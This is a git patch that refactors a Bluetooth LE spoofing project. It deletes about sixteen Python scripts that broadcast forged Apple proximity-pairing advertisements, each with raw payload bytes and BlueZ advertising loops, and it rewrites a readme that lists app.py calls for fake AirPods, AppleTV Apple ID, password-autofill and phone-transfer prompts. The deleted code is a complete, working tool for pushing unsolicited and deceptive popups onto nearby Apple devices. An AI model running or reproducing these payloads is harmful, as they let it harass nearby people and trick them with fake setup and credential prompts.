From e464aeb5fbf1f701d94beeed67a30a0301d347f3 Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Fri, 6 Oct 2023 05:21:54 +0300 Subject: [PATCH 01/10] QoL changes in app.py && notifications folder refactoring --- Pair New Device Notifications/airpods.py | 68 --- Pair New Device Notifications/airpods_max.py | 68 --- Pair New Device Notifications/airpods_pro.py | 68 --- .../appletv_appleid.py | 65 --- .../appletv_audiosync.py | 54 --- .../appletv_homekit.py | 65 --- .../appletv_keyboard.py | 65 --- .../appletv_network.py | 65 --- .../appletv_newuser.py | 65 --- Pair New Device Notifications/beatssolopro.py | 68 --- Pair New Device Notifications/beatsx.py | 68 --- Pair New Device Notifications/homepod.py | 65 --- Pair New Device Notifications/powerbeats.py | 68 --- Pair New Device Notifications/readme.md | 86 ++-- .../setupnewphone.py | 65 --- .../transfernumber.py | 65 --- .../tvcolorbalance.py | 65 --- .../uart_listener.py | 44 +- .../utils/bluetooth_utils.py | 395 ------------------ app.py | 55 ++- 20 files changed, 95 insertions(+), 1532 deletions(-) delete mode 100644 Pair New Device Notifications/airpods.py delete mode 100644 Pair New Device Notifications/airpods_max.py delete mode 100644 Pair New Device Notifications/airpods_pro.py delete mode 100644 Pair New Device Notifications/appletv_appleid.py delete mode 100644 Pair New Device Notifications/appletv_audiosync.py delete mode 100644 Pair New Device Notifications/appletv_homekit.py delete mode 100644 Pair New Device Notifications/appletv_keyboard.py delete mode 100644 Pair New Device Notifications/appletv_network.py delete mode 100644 Pair New Device Notifications/appletv_newuser.py delete mode 100644 Pair New Device Notifications/beatssolopro.py delete mode 100644 Pair New Device Notifications/beatsx.py delete mode 100644 Pair New Device Notifications/homepod.py delete mode 100644 Pair New Device Notifications/powerbeats.py delete mode 100644 Pair New Device Notifications/setupnewphone.py delete mode 100644 Pair New Device Notifications/transfernumber.py delete mode 100644 Pair New Device Notifications/tvcolorbalance.py delete mode 100644 Pair New Device Notifications/utils/bluetooth_utils.py diff --git a/Pair New Device Notifications/airpods.py b/Pair New Device Notifications/airpods.py deleted file mode 100644 index d9c636b..0000000 --- a/Pair New Device Notifications/airpods.py +++ /dev/null @@ -1,68 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Model: Original AirPods - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -AirPod advertise notification spoofing ----ECTO-1A August 2023--- -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - -dev_id = 0 # the bluetooth device is hci0 -toggle_device(dev_id, True) - -data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45) -left_speaker = (random.randint(1, 100),) -right_speaker = (random.randint(1, 100),) -case = (random.randint(128, 228),) -data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a) - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - left_speaker = (random.randint(1, 100),) - right_speaker = (random.randint(1, 100),) - case = (random.randint(128, 228),) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/airpods_max.py b/Pair New Device Notifications/airpods_max.py deleted file mode 100644 index 699186b..0000000 --- a/Pair New Device Notifications/airpods_max.py +++ /dev/null @@ -1,68 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Model: AirPods Max - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -AirPod proximity pairing notification spoofing ----ECTO-1A August 2023--- -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - -dev_id = 0 # the bluetooth device is hci0 -toggle_device(dev_id, True) - -data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45) -left_speaker = (random.randint(1, 100),) -right_speaker = (random.randint(1, 100),) -case = (random.randint(128, 228),) -data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a) - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - left_speaker = (random.randint(1, 100),) - right_speaker = (random.randint(1, 100),) - case = (random.randint(128, 228),) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/airpods_pro.py b/Pair New Device Notifications/airpods_pro.py deleted file mode 100644 index 1f87704..0000000 --- a/Pair New Device Notifications/airpods_pro.py +++ /dev/null @@ -1,68 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Model: AirPods Pro - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -AirPod advertise notification spoofing ----ECTO-1A August 2023--- -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - -dev_id = 0 # the bluetooth device is hci0 -toggle_device(dev_id, True) - -data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45) -left_speaker = (random.randint(1, 100),) -right_speaker = (random.randint(1, 100),) -case = (random.randint(128, 228),) -data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a) - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - left_speaker = (random.randint(1, 100),) - right_speaker = (random.randint(1, 100),) - case = (random.randint(128, 228),) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/appletv_appleid.py b/Pair New Device Notifications/appletv_appleid.py deleted file mode 100644 index 423f6fd..0000000 --- a/Pair New Device Notifications/appletv_appleid.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: Use Your Apple ID on AppleTV (message from DEF CON 31) - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/appletv_audiosync.py b/Pair New Device Notifications/appletv_audiosync.py deleted file mode 100644 index a36570d..0000000 --- a/Pair New Device Notifications/appletv_audiosync.py +++ /dev/null @@ -1,54 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: AppleTV Wireless Audio Sync - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import argparse -import bluetooth._bluetooth as bluez -from time import sleep -from utils.bluetooth_utils import toggle_device, start_le_advertising, stop_le_advertising - -# Add a docstring to describe the purpose of the script -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -def main(): - parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) - parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') - args = parser.parse_args() - - dev_id = 0 # the default Bluetooth device is hci0 - toggle_device(dev_id, True) - - bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x19, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) - - try: - sock = bluez.hci_open_dev(dev_id) - except Exception as e: - print(f"Unable to connect to Bluetooth hardware {dev_id}: {e}") - return - - print("Advertising Started... Press Ctrl+C to Stop") - - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, data=bt_data) - while True: - sleep(2) - except KeyboardInterrupt: - stop_le_advertising(sock) - except Exception as e: - print(f"An error occurred: {e}") - stop_le_advertising(sock) - -if __name__ == "__main__": - main() diff --git a/Pair New Device Notifications/appletv_homekit.py b/Pair New Device Notifications/appletv_homekit.py deleted file mode 100644 index 4b33d4b..0000000 --- a/Pair New Device Notifications/appletv_homekit.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: Set Up Airplay and Homekit on Apple TV - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x0D, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/appletv_keyboard.py b/Pair New Device Notifications/appletv_keyboard.py deleted file mode 100644 index b9b6e0f..0000000 --- a/Pair New Device Notifications/appletv_keyboard.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: AppleTV Keyboard Password Autofill Prompt - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/appletv_network.py b/Pair New Device Notifications/appletv_network.py deleted file mode 100644 index d0eeb06..0000000 --- a/Pair New Device Notifications/appletv_network.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: Connecting... Apple Tv requires additional information to connect to this network - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/appletv_newuser.py b/Pair New Device Notifications/appletv_newuser.py deleted file mode 100644 index cf1dfdb..0000000 --- a/Pair New Device Notifications/appletv_newuser.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: AppleTV Add New User - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/beatssolopro.py b/Pair New Device Notifications/beatssolopro.py deleted file mode 100644 index 128a1ba..0000000 --- a/Pair New Device Notifications/beatssolopro.py +++ /dev/null @@ -1,68 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Model: Beats Solo Pro - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -AirPod advertise notification spoofing ----ECTO-1A August 2023--- -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - -dev_id = 0 # the bluetooth device is hci0 -toggle_device(dev_id, True) - -data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45) -left_speaker = (random.randint(1, 100),) -right_speaker = (random.randint(1, 100),) -case = (random.randint(128, 228),) -data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a) - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - left_speaker = (random.randint(1, 100),) - right_speaker = (random.randint(1, 100),) - case = (random.randint(128, 228),) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/beatsx.py b/Pair New Device Notifications/beatsx.py deleted file mode 100644 index aa803d9..0000000 --- a/Pair New Device Notifications/beatsx.py +++ /dev/null @@ -1,68 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Model: BeatsX - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -AirPod advertise notification spoofing ----ECTO-1A August 2023--- -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - -dev_id = 0 # the bluetooth device is hci0 -toggle_device(dev_id, True) - -data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45) -left_speaker = (random.randint(1, 100),) -right_speaker = (random.randint(1, 100),) -case = (random.randint(128, 228),) -data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a) - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - left_speaker = (random.randint(1, 100),) - right_speaker = (random.randint(1, 100),) - case = (random.randint(128, 228),) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/homepod.py b/Pair New Device Notifications/homepod.py deleted file mode 100644 index cdab699..0000000 --- a/Pair New Device Notifications/homepod.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: HomePod Setup - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/powerbeats.py b/Pair New Device Notifications/powerbeats.py deleted file mode 100644 index a289f6f..0000000 --- a/Pair New Device Notifications/powerbeats.py +++ /dev/null @@ -1,68 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Model: PowerBeats - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -AirPod advertise notification spoofing ----ECTO-1A August 2023--- -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - -dev_id = 0 # the bluetooth device is hci0 -toggle_device(dev_id, True) - -data1 = (0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45) -left_speaker = (random.randint(1, 100),) -right_speaker = (random.randint(1, 100),) -case = (random.randint(128, 228),) -data2 = (0xda, 0x29, 0x58, 0xab, 0x8d, 0x29, 0x40, 0x3d, 0x5c, 0x1b, 0x93, 0x3a) - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - left_speaker = (random.randint(1, 100),) - right_speaker = (random.randint(1, 100),) - case = (random.randint(128, 228),) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(data1 + left_speaker + right_speaker + case + data2)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/readme.md b/Pair New Device Notifications/readme.md index 0d7adb0..72fe6ed 100644 --- a/Pair New Device Notifications/readme.md +++ b/Pair New Device Notifications/readme.md @@ -1,98 +1,90 @@ # APPLE BLE NOTIFICATIONS -Below are screenshots of the notfications generated from these scripts
+Below are screenshots of the notfications generated from these script calls


-**appletv_appleid.py** +**python3 app.py --device-name "AppleTV AppleID Setup"** -

- - -**appletv_network.py** +Message: Use Your Apple ID on AppleTV (message from DEF CON 31) -

+

+**python3 app.py --device-name "AppleTV Wireless Audio Sync"** -**appletv_keyboard.py** - -

+Message: AppleTV Wireless Audio Sync +

-**appletv_newuser.py** +**python3 app.py --device-name "AppleTV Homekit Setup"** -

+Message: Set Up Airplay and Homekit on Apple TV +

-**tvcolorbalance.py** +**python3 app.py --device-name "AppleTV Keyboard"** -

+Message: AppleTV Keyboard Password Autofill Prompt +

-**appletv_audiosync.py** - -

+**python3 app.py --device-name "AppleTV 'Connecting to Network'"** +Message: Connecting... Apple Tv requires additional information to connect to this network -**setupnewphone.py** +

-

+**python3 app.py --device-name "AppleTV New User"** +Message: AppleTV Add New User -**appletv_homekit.py** +

-

+**python3 app.py --device-name "Homepod Setup"** +Message: HomePod Setup -**homepod.py** +

+**python3 app.py --device-name "Setup New Phone"** -

+Message: Setup New Phone +

-**transfernumber.py** +**python3 app.py --device-name "Transfer Number to New Phone"** +Message: Transfer Phone Number

